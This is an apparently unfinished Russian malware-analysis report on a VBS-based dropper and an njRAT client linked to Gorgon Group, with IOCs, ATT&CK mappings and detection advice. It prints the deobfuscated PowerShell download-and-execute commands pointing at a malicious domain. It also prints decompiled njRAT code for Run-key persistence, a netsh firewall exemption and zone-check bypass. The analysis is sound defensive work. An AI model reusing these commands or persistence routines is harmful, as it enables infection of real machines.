- скрипт запускает два экземпляра PowerShell с командой `(New-Object System.Net.WebClient).DownloadFile(...)`: первый скачивает `1s.exe` в `C:\Users\Public\svchost32.exe` и запускает его через `Start-Process`, второй скачивает `1.docx` в `C:\Users\Public\svchost32.docx` и открывает его таким же способом;
- выполняются DNS-запрос к `lokipanelhostingpanel.gq` и HTTP-запросы к `/work/go/1s.exe` и `/work/go/1.docx` (в отчёте VirusTotal они помечены как `CONNECT`);
- записываются `C:\Users\Public\svchost32.exe` и `C:\Users\Public\svchost32.docx`, затем оба файла удаляются; кто именно их удаляет, нужно выяснить в виртуальной машине;
- значимых изменений реестра нет: ключи `ZoneMap` и `MuiCache` создаёт сама система; ключ `Windows Media Player NSS` и файл `udhisapi.dll` (UPnP Device Host), по-видимому, артефакты среды песочницы;
- VirusTotal отмечает внедрение в `powershell.exe`; в разобранном коде дроппера вызовов внедрения нет, поэтому это, возможно, следствие мониторинга песочницы [ДОПИСАТЬ: подтвердить или опровергнуть в ВМ].



Рис. 9 — Дерево процессов и сетевая активность по данным песочницы

Уже на этом этапе картина понятна: файл не выполняет полезной работы сам, а извлекает скрипт, выполняет его и скачивает следующую стадию. Далее это проверяется статическим анализом.

5.3. Статический анализ

5.3.1. Ресурсы

Из PE-файла извлечены пять ресурсов (скриптом на `pefile`): четыре ресурса типа `RT_RCDATA` с однобуквенными именами `B`, `D`, `N`, `O` и манифест (тип 24, идентификатор 1). Функция поиска ресурса `FindResByName` (`sub_402103`) вызывает `FindResourceA(hModule, name, RT_RCDATA)`, а `start` запрашивает по именам `N, O, P, S` и `B, D, F, I` (имена получены из двух строк по четыре односимвольных имени). Роль каждого ресурса определена по тому, куда `start` передаёт его данные (таблица 12).

Таблица 12 — Ресурсы PE-файла и их роль

Имя	Роль по коду	В образце
`B`	тело скрипта (`g_script_data`, размер в `g_script_size`); открытый текст VBScript, 0x926 = 2342 байта	есть
`N`	имя файла скрипта, копируется в строку функцией `ResToString`; содержимое `go.vbs` (6 байт)	есть
`O`	служебные флаги упаковщика: из него читаются значения, определяющие каталог для вложенных файлов и признак их удаления; 6 байт: `01 01 00 00 00 00`	есть
`D`	строка `-v2edecompile`: параметр командной строки для режима «извлечь скрипт вместо запуска»; 13 символов и завершающий нулевой байт (14 байт)	есть
`P`, `S`	блок проверки пароля и вспомогательные данные; при наличии `P` запрашивается пароль и выполняется расшифровка	нет
`F`, `I`	блоки вложенных файлов (их данные, размеры и список имён)	нет

Так как ресурсов `P`, `S`, `F`, `I` в файле нет, образец не защищён паролем, вложенных файлов не содержит, а функция `DecodeResources` (`sub_401DA8`, расшифровка и распаковка блоков) в нём не вызывается. Это согласуется с тем, что скрипт читается в `.rsrc` как обычная строка (адрес `0x40C140`).

Тексты ресурсов N (go.vbs) и D (-v2edecompile) подтверждены выводом cat; ресурс O (6 байт) состоит из непечатаемых байтов. Фрагмент PAgo.vbsPA в списке строк IDA, вероятно, состоит из двух байт выравнивания секции ресурсов (PA), за которыми следует сам ресурс N (go.vbs), и к содержимому ресурса не относится.

Ресурс O содержит 6 байт: 01 01 00 00 00 00. Функция CreateTempWorkDir читает из него три значения подряд. Первое (1) выбирает каталог для вложенных файлов: при значении 0, по-видимому, использовался бы временный каталог, а при 1 остаётся текущий каталог запуска; он же передаётся wscript как рабочий. Второе (1) включает удаление вложенных файлов после запуска; в образце их нет, поэтому на работу оно не влияет. Третье значение (0) и три оставшихся нулевых байта в разобранных функциях не используются. Назначение значений определено по тому, куда попадают прочитанные величины, сама функция чтения (sub_404100) не разбиралась.

5.3.2. Основной алгоритм (start)

Функция start содержит инициализацию библиотеки времени выполнения (кучи, интерфейс, разбор командной строки), которая к вредоносной логике отношения не имеет. Существенная часть выполняется в таком порядке:

1. проверяется версия ОС: если она ниже 5.0, показывается сообщение об ошибке и работа завершается (это совместимость, а не защита от анализа);
2. разбирается командная строка (GetArgCount, GetArgN): параметр -v2epass задаёт пароль, остальные аргументы запоминаются и передаются скрипту;
3. из ресурсов загружаются O, N и B; при отсутствии любого из них выводится сообщение об ошибке и процесс завершается с кодом 1;
4. создаётся рабочий каталог во временной папке (CreateTempWorkDir);
5. ищутся необязательные ресурсы I, F, P, S; в образце их нет, поэтому окно пароля не показывается;
6. если ресурс D есть и программа запущена ровно с одним параметром -v2edecompile (по коду: первый параметр сравнивается с

текстом `D`, число параметров равно 1), она не выполняет скрипт, а предлагает сохранить его на диск (диалоги «Choose a location» и «Overwrite»); без параметров, как в песочнице, скрипт выполняется;

7. тело скрипта записывается в файл `<рабочий каталог>\go.vbs` (`FileOpen`, `FileWrite`, `FileClose`);
8. в переменные окружения записываются сведения о самой программе (`v2eprogramname`, `v2eprogramfilename`, `v2eprogrampathname`, `v2eprogramshortname`, `v2eincfilepath`, `v2eincfilecount`), чтобы скрипт мог найти свой исполняемый файл;
9. скрипт запускается через `wscript` (`RunScriptWScript`), дроппер ждёт его завершения;
10. после завершения скрипт удаляется (`DeleteFileA`), удаляется рабочий каталог (`RemoveDirectoryA`), процесс завершается с кодом 0.

Таблица 13 содержит функции, которые были разобраны, и присвоенные им имена.

Таблица 13 — Разобранные функции дроппера

Адрес	**Имя**	**Назначение**
`start`	`EntryMain`	основной алгоритм дроппера
`sub_402103`	`FindResByName`	поиск ресурса `RT_RCDATA` по имени, указатель и размер сохраняются в `g_res_ptr` и `g_res_size`
`sub_401C8A`	`CreateTempWorkDir`	создание рабочего каталога `%TEMP%\<hex>.tmp` и чтение флагов из ресурса `0`
`sub_404020`	`ResToString`	копирование байтов ресурса в строку до нулевого байта или заданной длины
`sub_402831`	`RunScriptWScript`	запуск `wscript` со скриптом и ожидание его завершения
`sub_403D19`	`SetEnvVar`	обёртка над `SetEnvironmentVariableA`
`sub_403CAB`, `sub_403C5D`	`GetArgCount`, `GetArgN`	число аргументов и аргумент по номеру (0 это путь к exe)
`sub_406450`, `sub_406530`, `sub_4062B0`	`FileOpen`, `FileWrite`, `FileClose`	создание файла, буферизованная запись и закрытие по номеру в таблице дескрипторов
`sub_406100`	`DeleteFileSafe`	`DeleteFileA` с проверкой указателя

Адрес	Имя	Назначение
sub_402077	CleanupIncluded	удаление вложенных файлов, если включён флаг и размер файла не изменился
sub_401DA8	DecodeResources	расшифровка и распаковка блоков по паролю; в образце не вызывается

5.3.3. Поиск ресурса

```
// sub_402103 -> FindResByName (восстановлено по Hex-Rays)
int FindResByName(HMODULE hModule, char *name)
{
    HRSRC h = FindResourceA(hModule, name, RT_RCDATA);   // тип 0xA
    if (h) {
        g_res_ptr  = LoadResource(hModule, h);           // dword_40B080
        g_res_size = SizeofResource(hModule, h);         // dword_40B07C
    }
    return /* результат освобождения временной строки */;
}
```

Функция возвращает значение, которое `start` трактует как признак «ресурс найден». Hex-Rays показывает в `return` вызов освобождения строки, поэтому точное значение возврата стоит проверить в дизассемблере.

5.3.4. Рабочий каталог

```
// sub_401C8A -> CreateTempWorkDir (существенная часть)
buf = HeapAlloc(1024);
tmp = GetTempPath();                          // sub_406192, по контексту
GetTempFileNameA(tmp, "", 0, buf);            // создаёт файл %TEMP%
\<hex>.tmp
g_tmp_dir = buf;                              // Source
DeleteFileA(g_tmp_dir);                       // sub_406100: файл
удаляется...
CreateDirectory(g_tmp_dir);                   // sub_4061F3, по
контексту: ...и вместо него создаётся каталог
g_cur_dir = CurDir();                         // sub_406035 -> dword_40B038
mode = ReadConfigValue();                     // sub_404100: значения из
ресурса 0
...
g_flag_cleanup = ReadConfigValue();           // dword_40B030
```

Префикс имени пустой (`WindowName`, пустая строка), поэтому имена каталогов в отчёте VirusTotal имеют вид `264B.tmp`. Так объясняется, почему скрипт каждый раз оказывается в новой папке, а имя меняется от запуска к запуску.

Место для рисунка

Рис. 10 — Фрагмент функции CreateTempWorkDir: GetTempFileNameA и создание каталога

5.3.5. Запись и запуск скрипта

```
// start(): режим запуска скрипта (метка LABEL_58)
script_path = g_tmp_dir + "\\" + g_script_name;      // имя из ресурса N
if (FileOpen(1, script_path)) {                       // CreateFileA(..., CREATE_ALWAYS)
    FileWrite(1, g_script_data, g_script_size);       // тело скрипта из ресурса B
    FileClose(1);

    SetEnvVar("v2eprogramname",      ...);            // сведения о самом exe
    SetEnvVar("v2eprogramfilename",  ...);
    SetEnvVar("v2eprogrampathname",  ...);
    SetEnvVar("v2eprogramshortname", ...);            // GetShortPathNameA
    SetEnvVar("v2eincfilepath",  g_inc_path);
    SetEnvVar("v2eincfilecount", g_inc_count);

    PathQuoteSpacesA(script_path);
    RunScriptWScript(script_path, g_cur_dir, g_script_args);
    CleanupIncluded();                                // вложенных файлов нет
    DeleteFileA(script_path);                         // скрипт удаляется
    RemoveDirectoryA(g_tmp_dir);
    ExitProcess(0);
} else {
    DeleteFileA(script_path);
    MessageBox("Error", "An unknown error...");
    RemoveDirectoryA(g_tmp_dir);
    ExitProcess(1);
}
```

```
// sub_402831 -> RunScriptWScript
SHELLEXECUTEINFOA sei = { 0 };
sei.cbSize       = 60;
sei.fMask        = 0x140;       // SEE_MASK_NOCLOSEPROCESS |
SEE_MASK_FLAG_DDEWAIT
sei.nShow        = SW_HIDE;     // окно скрыто
sei.lpVerb       = "open";
sei.lpFile       = "wscript";
sei.lpParameters = cmdline;     // путь к go.vbs и аргументы
sei.lpDirectory  = work_dir;
ShellExecuteExA(&sei);

do {
    do Sleep(25); while (!GetExitCodeProcess(sei.hProcess, &code));
} while (code == STILL_ACTIVE); // 259: ожидание завершения wscript
```

Режим запуска полностью совпадает с поведением в песочнице: скрипт появляется в `%TEMP%\<hex>.tmp\go.vbs`, запускается через `wscript` в скрытом окне и затем удаляется вместе с каталогом (таблица «Files deleted» в отчёте VirusTotal).



Рис. 11 — Фрагмент функции RunScriptWScript: запуск wscript через ShellExecuteExA

5.3.6. Противодействие анализу и закрепление

Проверок виртуальной машины, отладчика и песочницы в разобранных функциях нет. Закрепления в системе (автозагрузка, службы, планировщик) в дроппере и в видимой части скрипта тоже нет: он работает однократно, а все следы удаляет. Постоянное присутствие, если оно требуется, должно обеспечиваться загруженной нагрузкой.

5.3.7. Скрипт `go.vbs`

Скрипт хранится в ресурсе `B` в открытом виде (2342 байта). Окно строк IDA показывало только первый из двух его блоков. Скрипт состоит из двух одинаковых по структуре блоков с разными случайными именами переменных (`Al89Awn...` и `AAsdjAsdn...`). В каждом блоке команда PowerShell разбита на 14 коротких фрагментов, чтобы адрес и вызовы API не встречались в файле целиком (обфускация строк, чем, вероятно, и объясняется детект Alibaba `Script/Obfuscator`). Фрагменты склеиваются оператором `+` и передаются в `Run` со скрытым окном:

```
' блок 1: загрузка и запуск программы
set AlWhaWu8AmxahJAs = CreateObject("WScript.Shell")
Al89AwnAmxahJAs1  = "PowerShel"
Al89AwnAmxahJAs2  = "l (New-Ob"
...
Al89AwnAmxahJAs7  = "ile('http://lokipanelhostingpanel.gq/work/go/1s.exe',"
Al89AwnAmxahJAs8  = "'%Public%\s"
Al89AwnAmxahJAs9  = "vchost32."
Al89AwnAmxahJAs010 = "exe');S"
...
Al89AwnAmxahJAs014 = "chost32.exe'"
Al89AwnAmxahJAs20 = Al89AwnAmxahJAs1 + Al89AwnAmxahJAs2 + ... +
Al89AwnAmxahJAs014
AlWhaWu8AmxahJAs.run Al89AwnAmxahJAs20, vbHide

' блок 2: загрузка и открытие документа
set smSjiasdAjismdASdhis = CreateObject("WScript.Shell")
AAsdjAsdn7   = "ile('http://lokipanelhostingpanel.gq/work/go/1.docx',"
AAsdjAsdn010 = "docx');S"
AAsdjAsdn014 = "chost32.docx'"
...
smSjiasdAjismdASdhis.run AAsdjAsdn20, vbHide
```

После склейки получаются две команды:

```
PowerShell (New-Object System.Net.WebClient).DownloadFile(
  'http://lokipanelhostingpanel.gq/work/go/1s.exe','%Public%
\svchost32.exe');
Start-Process '%Public%\svchost32.exe'

PowerShell (New-Object System.Net.WebClient).DownloadFile(
  'http://lokipanelhostingpanel.gq/work/go/1.docx','%Public%
\svchost32.docx');
Start-Process '%Public%\svchost32.docx'
```

Переменная %Public% раскрывается методом WScript.Shell.Run до запуска PowerShell, поэтому в отчёте VirusTotal встречаются обе формы команды (%Public%\svchost32.exe и C:\Users\Public\svchost32.exe). Третий параметр Run (ожидание завершения) не задан, то есть wscript не ждёт PowerShell: оба процесса стартуют почти одновременно, а wscript сразу завершается. Дроппер видит завершение wscript, удаляет go.vbs и временный каталог, а загрузка продолжается уже без скрипта. Это объясняет, почему в списке удалённых файлов есть go.vbs, а загруженные файлы появляются позже.

5.3.8. Загруженная нагрузка

Первая команда скачивает 1s.exe в общую папку C:\Users\Public под именем svchost32.exe: имя похоже на системный процесс svchost.exe и должно отвлечь внимание аналитика (T1036.005). Вторая команда скачивает документ 1.docx, сохраняет его как svchost32.docx и открывает через Start-Process в Word, то есть жертва видит безобидный документ, пока работает программа. Это документ-приманка, как и в цепочках, описанных Unit 42 [1]; содержимое 1.docx в работе не исследовалось. Домен lokipanelhostingpanel.gq находится в бесплатной зоне .gq. Слово lokipanel в имени может указывать на панель управления LokiBot (в [1] LokiBot упоминается среди инструментов группы), но без анализа 1s.exe это только гипотеза.

5.4. Динамический анализ

[ДОПИСАТЬ: описать запуск и результаты: использованные утилиты, что именно было замечено; перехватить go.vbs до удаления (например, копированием из папки %TEMP%*.tmp или по Process Monitor)]

Таблица 14 — Сопоставление статического и динамического анализа

Что проверяем	**Ожидание по результатам статики**	**Результат в ВМ**
Дерево процессов	исходный процесс запускает скрытый wscript.exe, тот запускает два скрытых powershell.exe; один запускает	[ДОПИСАТЬ]

Что проверяем	Ожидание по результатам статики	Результат в ВМ
	`svchost32.exe`, другой открывает `svchost32.docx` в Word	
Файлы	`%TEMP%\<hex>.tmp\go.vbs` создаётся и удаляется вместе с каталогом; `C:\Users\Public\svchost32.exe`, `svchost32.docx`	[ДОПИСАТЬ]
Реестр	значимых изменений нет	[ДОПИСАТЬ]
Сеть	DNS-запрос `lokipanelhostingpanel.gq`, HTTP-запросы `/work/go/1s.exe` и `/work/go/1.docx`	[ДОПИСАТЬ]
Окна	окон нет: `wscript` запускается с `SW_HIDE`	[ДОПИСАТЬ]



Рис. 12 — Process Hacker: дерево процессов (дроппер, wscript.exe, powershell.exe, svchost32.exe)

Место для рисунка

Рис. 13 — Process Monitor: создание go.vbs во временной папке и svchost32.exe в C:\Users\Public

Место для рисунка

Рис. 14 — Wireshark или FakeNet-NG: DNS-запрос и HTTP-запросы к lokipanelhostingpanel.gq

5.5. Соответствие классификации MITRE ATT&CK

В таблице 15 приведены результаты по пунктам задания 6.a–6.m. Дроппер выполняет только доставку следующей стадии, поэтому в большинстве пунктов указано «не обнаружено».

Таблица 15 — Результаты по пунктам 6.a–6.m задания

Пункт	Тема	Результат (техники MITRE ATT&CK)
a	Закрепление	В дроппере и скрипте не обнаружено, все следы удаляются (T1070.004). Нагрузка размещается в `C:\Users\Public` под именем `svchost32.exe` (T1036.005).

Пункт	Тема	Результат (техники MITRE ATT&CK)
b	Повышение привилегий	Не обнаружено.
c	Сбор информации о системе	Не обнаружено; дроппер только проверяет версию ОС для совместимости.
d	Поиск средств защиты	Не обнаружено. Отметку VirusTotal о внедрении в `powershell.exe` нужно проверить в ВМ.
e	Сетевая активность	Скачивание файлов по HTTP средствами PowerShell `System.Net.WebClient` (T1105, T1071.001). Сбора сведений о сети нет.
f	Сетевые атаки (MITM)	Не обнаружено.
g	Эксплуатация уязвимостей	Сам образец уязвимости не эксплуатирует. Группа использует CVE-2017-0199 при доставке документов (T1203, по данным [1]).
h	Связь с C2	Постоянного канала нет: загрузка `1s.exe` и `1.docx` с `lokipanelhostingpanel.gq` (T1105, T1071.001). Протокол C2 реализует загруженная нагрузка.
i	Поиск целевой информации	Не обнаружено.
j	Доступ к критической информации	Не обнаружено в дроппере; зависит от нагрузки `svchost32.exe`.
k	Вредоносные действия	Загрузка и запуск произвольной программы (T1105, T1204.002); сама по себе вредоносная нагрузка в дроппере отсутствует.
l	Данные других приложений	Не обнаружено.
m	Изменение конфигурации системы	Не обнаружено.

Помимо перечисленного, использованы выполнение сценариев VBScript (T1059.005) и PowerShell (T1059.001), обфускация строк скрипта (T1027, T1027.010) и запуск через `wscript` в скрытом окне.

5.6. Индикаторы компрометации

Таблица 16 — Индикаторы компрометации компонента 2

Тип	Значение
Хеш SHA-256	`fff9abf1ccd7d7821f467af318f3782a 7a9fc69dbd15794d52aa2aaa40eac720`
Хеш MD5 / SHA-1	`960573a2212d5c786998791e68679f6d 3cc37bbacefbf56e23909d39927118c618933001`
Домен	`lokipanelhostingpanel.gq`
URL	`http://lokipanelhostingpanel.gq/work/go/1s.exe`, `http://lokipanelhostingpanel.gq/work/go/1.docx`
Файлы	`%TEMP%\<hex>.tmp\go.vbs`, `C:\Users\Public\svchost32.exe`, `C:\Users\Public\svchost32.docx`
Командная строка	`wscript` со скриптом `go.vbs` из `%TEMP%\<hex>.tmp`; `PowerShell (New-Object System.Net.WebClient).DownloadFile(...)` с `Start-Process`
Строки в файле	`v2eprogramfilename`, `v2eprogramname`, `v2eprogramshortname`, `v2eprogrampathname`, `v2eincfilecount`, `v2eincfilepath`, `v2eincfile`, `-v2epass`, `-v2edecompile`, `AlWhaWu8AmxahJAs`, `Al89AwnAmxahJAs`, `smSjiasdAjismdASdhis`, `AAsdjAsdn`, фрагменты `l (New-Ob`, `ject Syst`, `em.Net.We`

5.7. Способы выявления

- **Хост.** В Sysmon: событие создания процесса (ID 1) `wscript.exe` со скриптом в `%TEMP%\<hex>.tmp\` и родителем в виде неизвестного исполняемого файла; запуск `powershell.exe` с `DownloadFile` и `Start-Process` из `wscript.exe`; создание файлов `go.vbs` (ID 11) и `svchost32.exe` в `C:\Users\Public`. Процесс `svchost32.exe` запущен не из `System32` и не от `services.exe`. Журналы PowerShell (Script Block Logging, событие 4104) и AMSI.
- **Файл.** Правило YARA по строкам `v2eprogramfilename`, `v2eincfilepath`, `-v2epass`, `-v2edecompile` и именам ресурсов `B`, `D`, `N`, `O`. Имена переменных скрипта случайны (в одном файле два набора: `Al89Awn...` и `AAsdjAsdn...`), поэтому надёжнее искать по фрагментам строк, одинаковым в обоих блоках (`l (New-Ob`, `ject Syst`, `em.Net.We`, `bClient).`, `DownloadF`), и по вызову `.run ..., vbHide`.
- **Сеть.** DNS-запросы и HTTP-соединения к `lokipanelhostingpanel.gq`; загрузка исполняемых файлов по пути `/work/go/` без заголовков браузера; блокировка домена и бесплатной зоны `.gq` на прокси.

- **Профилактика.** Отключение Windows Script Host (`HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings`, значение `Enabled` равно 0) там, где он не нужен; запрет запуска `wscript.exe` и исполняемых файлов из `%TEMP%` и `C:\Users\Public` (AppLocker, WDAC); режим Constrained Language для PowerShell; фильтрация исходящего HTTP-трафика на загрузку исполняемых файлов.

6. Исследование компонента 3: njRAT (Bladabindi)

6.1. Общие сведения

Таблица 17 — Общие сведения о файле

Параметр	**Значение**
Имя файла	`fff353843eb081d94aac5c048c7cbc41 e62ecd476a2cbee970066199f81afdaa`
MD5	`7cf3aecad9d39a53f50786d6a8027029`
SHA-1	`fb29cbd768bd1f8f3de4ad7e7e0d59266b51717b`
SHA-256	`fff353843eb081d94aac5c048c7cbc41 e62ecd476a2cbee970066199f81afdaa`
Тип и размер	PE32 (Intel 386), управляемая сборка .NET, 33 КБ
Время компиляции	2018-05-16 08:53:21 UTC
Точка входа	RVA `0x905E` (36958); в ILSpy: `k.OK.main`
Платформа	.NET Framework, среда выполнения v2.0.50727; язык VB.NET (подключены `Microsoft.VisualBasic` и пространство `k.My`); имя сборки `k`
Упаковка	не обнаружена: энтропия `.text` 5,63, сборка целиком декомпилируется ILSpy, строки читаются
Семейство	njRAT (в классификации антивирусов Bladabindi): троян удалённого доступа; строка версии клиента в коде `0.11G`

6.2. Предварительный анализ в песочнице

На VirusTotal файл обнаруживается 66 антивирусными движками из 72. Примеры детектов: Microsoft: `Backdoor:MSIL/Bladabindi!atmn`, Alibaba: `Backdoor:MSIL/Bladabindi.4d959edd`, Avast: `MSIL:Agent-CIB [Trj]`, Dr.Web: `Trojan.DownLoader24.55432`, Kaspersky: `HEUR:Trojan.Win32.Generic`. Название `Bladabindi` (в нотации Microsoft это njRAT) и суффикс `MSIL` указывают на троян удалённого доступа на .NET.

Место для рисунка

Рис. 15 — Результат проверки файла на VirusTotal

Структура PE-файла по данным VirusTotal приведена в таблице 18. Три стандартные секции, упаковщика нет. Единственная импортируемая библиотека `mscoree.dll` (функция запуска среды CLR) означает, что вся логика находится в управляемом коде. Вызовы WinAPI в такой сборке задаются через `DllImport` внутри самого кода, поэтому в таблице импортов PE они не видны.

Таблица 18 — Секции PE-файла

Секция	Вирт. адрес	Вирт. размер	Размер в файле	Энтропия
`.text`	8192	28772	29184	5,63
`.rsrc`	40960	2560	2560	3,97
`.reloc`	49152	12	512	0,08

Поведенческий отчёт песочницы показывает следующее:

- записывается
  значение автозагрузки `a7c34a25f5c5b16d3a26d56c11dd4df5` в `Run` (в `HKCU` и в `HKLM`, в отчёте они присутствуют оба);
- создаётся ключ `HKCU\Software\a7c34a25f5c5b16d3a26d56c11dd4df5` со значениями `hp`, `i`, `kl`, а также значение `HKCU\di`;
- создаётся переменная среды пользователя `SEE_MASK_NOZONECHECKS` (`HKCU\Environment`);
- запускается `netsh.exe` с командой `netsh firewall add allowedprogram "<путь к файлу>" "<имя файла>" ENABLE`; в списке разрешённых программ брандмауэра появляется запись для исполняемого файла, запущенного из `%TEMP%\EB93A6\996E.exe`;

- остальные записи реестра (`MuiCache` для `dhcpqec.dll`, `eapqec.dll`, `napipsec.dll`, `tsgqec.dll`, ветки `Tracing\...\NAP\Netsh`, обращение к службе `NapAgent`) являются побочным эффектом запуска `netsh.exe` и к логике образца не относятся; мьютексы `Global\.net clr networking` и `Global\CLR_CASOFF_MUTEX` создаёт среда CLR.



Рис. 16 — Дерево процессов и изменения реестра по данным песочницы

Уже на этом этапе виден характерный набор njRAT: ключ `HKCU\Software\<32 символа>`, значение автозагрузки с тем же именем, разрешение в брандмауэре через `netsh` и переменная `SEE_MASK_NOZONECHECKS`. Сетевой активности в отчёте нет: как будет показано ниже, адрес сервера в этой сборке указывает на локальный интерфейс. Далее предположение проверяется статическим анализом.

6.3. Статический анализ

6.3.1. Инструменты и структура сборки

Образец является .NET-сборкой, поэтому IDA Pro для него малоинформативна: дизассемблируется только заглушка запуска CLR. Анализ выполнялся декомпилятором ILSpy [6], который восстанавливает из IL-кода исходный текст на C#. Код получился полностью читаемым, имена методов не зашифрованы (используются короткие осмысленные сокращения, например `INS`, `Ind`, `GTV`). Для удобства чтения методам присвоены более понятные имена, соответствие приведено в таблице 21.

В сборке три группы типов:

- `k.OK`: основной класс клиента (подключение, команды, закрепление);
- `k.kl`: кейлоггер;
- `k.My.*`: типовой код шаблона VB.NET (`MyApplication`, `MyComputer`, `MyProject`), вредоносной логики не содержит.

Секция `.rsrc` небольшая (2,5 КБ), и в декомпилированном коде нет обращений к ресурсам сборки. Конфигурация хранится прямо в полях класса `OK` в открытом виде. Из приёмов сокрытия строк обнаружен единственный: имя метода `DownloadData` получено как `"Downiata".Replace("i", "loadD")` (T1027).

6.3.2. Конфигурация

Параметры задаются в конструкторе класса `OK` (`OK..ctor`). Значения флагов записываются строками и преобразуются функцией `Conversions.ToBoolean`: так их подставляет генератор клиентов. Результат приведён в таблице 19.

Таблица 19 — Конфигурация клиента njRAT

Поле	Значение	Назначение
`PH`	`127.0.0.1:55531,`	список C2-серверов (`адрес:порт,`); в данной сборке указан локальный адрес, то есть сервер оператора не прописан
`RG`	`a7c34a25f5c5b16d3a26d56c11dd4df5`	идентификатор сборки: имя ключа `HKCU\Software\...`, имя значения автозагрузки, часть имени мьютекса, имя файла на USB
`VN`	`SGFjS2Vk`	имя клиента в Base64; после декодирования `HacKed`
`VR`	`0.11G`	версия клиента, передаётся в регистрационном сообщении
`Y`	`|'|'|`	разделитель полей в сообщениях
`Isu`	`True`	запись в ключи `Run` включена
`Idr`	`False`	копирование в каталог `DR` под именем `EXE` выключено (`DR = TEMP`, `EXE = server.exe` не используются)
`IsF`	`False`	копирование в папку «Автозагрузка» выключено
`Spr`	`False`	заражение USB-носителей выключено

Поле	Значение	Назначение
Hid	False	скрытие файла выключено
BD	False	защита процесса от завершения (критический процесс) выключена
klen	20	предельный размер журнала кейлоггера в килобайтах

Из таблицы следует, что в данной сборке включены: закрепление в Run, кейлоггер и связь с сервером. Копирование, автозагрузка через папку, распространение через USB, скрытие файла и защита процесса реализованы в коде, но выключены настройками. Судя по адресу 127.0.0.1:55531, этот экземпляр не был настроен под реальный сервер (возможно, это тестовая сборка). Оператор может заменить список серверов командой prof (подкоманда $): новый список сохраняется в HKCU\Software\<RG>\hp в Base64, и при следующем запуске приоритет получает значение из реестра, а не поле PH. Адрес C2 из публикации [1] в этом образце не найден, поэтому принадлежность файла к кампании Gorgon Group определена только по каталогу образцов [5] и по тому, что njRAT указан среди используемых группой троянов.

6.3.3. Основной алгоритм (main, Ncn, start, ko)

Функция main (k.OK.main) создаёт объект OK и вызывает Ncn (LoadC2List). Порядок действий:

1. Ncn читает из реестра значение hp; если оно есть, список серверов берётся из него, иначе используется PH. Список разбивается по запятой;
2. для каждого элемента вызывается start (StartC2Thread), которая делит строку по : на адрес и порт и запускает поток с функцией ko (MainLoop). Первый сервер получает признак главного (Cnon = True), остальные только поддерживают связь;
3. главный экземпляр ko записывает i = "!" в HKCU\Software\<RG>. Если проверка Interaction.Command() проходит (из автозагрузки программа запускается с параметром: "путь" ..), то записывается ещё и HKCU\di = "!", после чего выдерживается пауза 5 секунд. В отчёте

песочницы значение `di` присутствует; в декомпилированном коде проверка выглядит как `Command() != null`, поэтому, видимо, она срабатывает и без параметров [ДОПИСАТЬ: проверить в ВМ, появляется ли `HKCU\di` при запуске без аргументов]

4. создаётся мьютекс `<RG><VN>`, то есть `a7c34a25f5c5b16d3a26d56c11dd4df5SGFjS2Vk`; если он уже существует, процесс завершается (`ProjectData.EndApp`), обеспечивая единственность экземпляра;
5. выполняется `INS` (`InstallSelf`): закрепление и настройка системы;
6. запускаются два потока: `RC` (`RecvLoop`, связь с сервером) и `WRK` (`KeyloggerLoop`, кейлоггер). При включённом `BD` процесс становится критическим (`pr(1)`) и сбрасывает этот статус при завершении сеанса;
7. главный поток входит в бесконечный цикл с шагом 1 с: каждые 5 с сокращает рабочий набор процесса (`MinWorkingSet`), каждые 8 с отправляет серверу заголовок активного окна (сообщение `act`), повторно записывает значения `Run` (если `Isu`), и по флагам заражает USB-носители и скрывает файл. Повторная запись нужна для восстановления автозагрузки, если значение было удалено.

Остальные серверы из списка проходят только цикл `RC` и отправку заголовка окна.

6.3.4. Закрепление в системе (`INS`)

Функция `INS` (`InstallSelf`) подготавливает окружение. Сначала при включённом `Idr` она копирует файл в `%<DR>%\<EXE>` и запускает копию. В исследуемой сборке это выключено, поэтому образец остаётся там, откуда запущен (в песочнице это `%TEMP%\EB93A6\996E.exe`). Затем выполняются действия, которые видны в песочнице.

```
// OK.INS (InstallSelf), существенная часть (восстановлено по ILSpy)
Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1",
                                   EnvironmentVariableTarget.User);   //
HKCU\Environment

Interaction.Shell("netsh firewall add allowedprogram \"" + LO.FullName
                  + "\" \"" + LO.Name + "\" ENABLE", AppWinStyle.Hide,
false, -1);
```

```
if (Isu) {                                                          //
включено
    // sf = "software\Microsoft\Windows\CurrentVersion\Run"
    HKCU.OpenSubKey(sf, true).SetValue(RG, "\"" + LO.FullName + "\" ..");
    HKLM.OpenSubKey(sf, true).SetValue(RG, "\"" + LO.FullName +
"\" ..");   // нужны права администратора
}
if (IsF) File.Copy(LO.FullName, Startup + "\\" + RG + ".exe", true);  //
выключено
if (Spr) USBspr(true);                                              //
выключено
if (Hid) FileSystem.SetAttr(LO.FullName, FileAttribute.Hidden);     //
выключено
```



Рис. 17 — Фрагмент функции INS: переменная SEE_MASK_NOZONECHECKS, netsh и запись в Run

Назначение действий:

- `SEE_MASK_NOZONECHECKS = 1` отключает проверку зоны источника при запуске файла через оболочку: не показывается окно «Не удаётся проверить издателя» (T1553.005);
- команда `netsh firewall add allowedprogram` вносит файл в список разрешённых программ брандмауэра Windows, поэтому его входящие и исходящие соединения не блокируются (T1562.004);
- значение `Run\<RG>` запускает файл при входе пользователя с аргументом `..` (T1547.001). Запись в `HKLM` выполняется в блоке `try` и срабатывает только при наличии прав администратора. Параметр `..`

служит признаком запуска из автозагрузки и обрабатывается функцией ko.

Обратное действие выполняет функция UNS (Uninstall): снимает защиту процесса (pr(0)), при Spr удаляет файлы с USB, удаляет значения Run в HKCU и HKLM, дерево ключей HKCU\Software\<RG>, правило брандмауэра (netsh firewall delete allowedprogram), копию в папке «Автозагрузка» и запускает cmd.exe /c ping 0 -n 2 & del "<путь>", затем завершает процесс (T1070.004).

6.3.5. Связь с C2-сервером

Функции connect (ConnectC2) и RC (RecvLoop) реализуют цикл подключения. connect закрывает прежний сокет, выдерживает паузу 2 секунды, создаёт TcpClient (буферы 200 КБ, таймаут 10 с) и подключается к адресу и порту из списка. Если подключиться не удалось, RC повторяет попытку в цикле, то есть клиент безостановочно переподключается, делая паузу не менее 2 секунд между попытками. После подключения клиент отправляет два сообщения:

- li (BuildHostInfo, функция inf): регистрационные сведения о машине. Поля разделены |'|'|, строковые поля закодированы в Base64: имя клиента с серийным номером тома системного диска (HacKed_<серийный номер>), имя компьютера, имя пользователя, дата изменения файла, название ОС и пакет обновления, разрядность, признак наличия камеры (Yes или No, функция Cam перебирает драйверы capGetDriverDescriptionA), версия клиента 0.11G, заголовок активного окна и список установленных плагинов (имена значений реестра длиной 32 символа);
